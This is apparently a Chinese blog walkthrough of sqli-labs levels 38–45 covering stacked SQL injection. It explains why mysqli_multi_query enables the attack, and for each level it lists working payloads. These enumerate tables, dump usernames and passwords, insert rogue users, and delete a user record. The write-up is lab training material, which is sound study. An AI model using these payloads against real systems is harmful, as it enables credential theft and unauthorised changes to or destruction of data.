sqli-labs通关全解----堆叠注入---38~45---11

本文引入一个新的概念:堆叠注入

mysli_multi_query()函数:

Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

使用条件

mysli_multi_query()执行多条查询的函数——防止注入改成mysqli_query()函数

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用**mysqli_multi_query()**函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。

sqli-labs中使用了一个章节的大小来描述堆叠注入,但是个人认为该部分在sql注入中并没有扮演如此重要的角色

less 38 GET -Stacked Query Injection-String

 

查询数据表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查询users列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

此时,我们就可以在users下插入其他用户,例如

?id=-1' ;insert into users(id,username,password)values(100,'772211','112277');

 less-39 GET-Stacked Query Injection-Intiger based.

该题和上题基本相同,只是闭合方式不同

查询数据表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

查询users列

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

我们就可以在users下插入其他用户

?id=-1 ;insert into users(id,username,password)values(100,'213','123123');

less-40 GET- BLIND based-String-Stacked 

同样是堆叠注入,但是闭合方式修改为'),其他操作基本相同

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

尝试删去id=1的用户

?id=-1') ;delete from users where id=1;

原有id=1

 

 less-41 GET-BLIND based-Intiger-Stacked

该题和之前题目基本相同,依旧是不对报错进行输出,不进行闭合,不多赘述

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

添加用户:

?id=-1;insert into users(id,username,password)values(102,'721','127');

 less-42 POST-Error based-String-Stacked

通过观察源码,本关通过mysqli_real_escape_string对username进行了过滤,有可能进行宽字节注入,但是其不对其查询结果进行回显,但是没有对passwd进行过滤,可以尝试通过passwd进行注入。

按照代码,可以进行联合注入

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

爆破用户名和密码

' union select 1,group_concat(username,':',password),2 from users #

也可以进行堆叠注入:

';insert into users(id,username,password)values(108,'721','127'); #

less-43 POST -Error based -String -Stacked witth twist 

该题和上题基本相同,只有闭合方式不同,操作基本相同

获取用户名密码:

') union select 1,group_concat(username,':',password),2 from users #

 

堆叠注入

');insert into users(id,username,password)values(99,'722','127'); #

 less-44 POST -Error based-String-Stacked-Blind

 

不能使用报错注入,但是联合注入和堆叠注入不受影响,闭合方式为单引号

' union select 1,group_concat(username,':',password),2 from users #

 

';insert into users(id,username,password)values(106,'721721','127'); #

 

less-45 POST-Error based-String-Stacked-Blind 

与上题基本相同,闭合方式改为')

') union select 1,group_concat(username,':',password),2 from users #

尝试进行堆叠注入

');insert into users(id,username,password)values(100,'721721','127127'); #

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值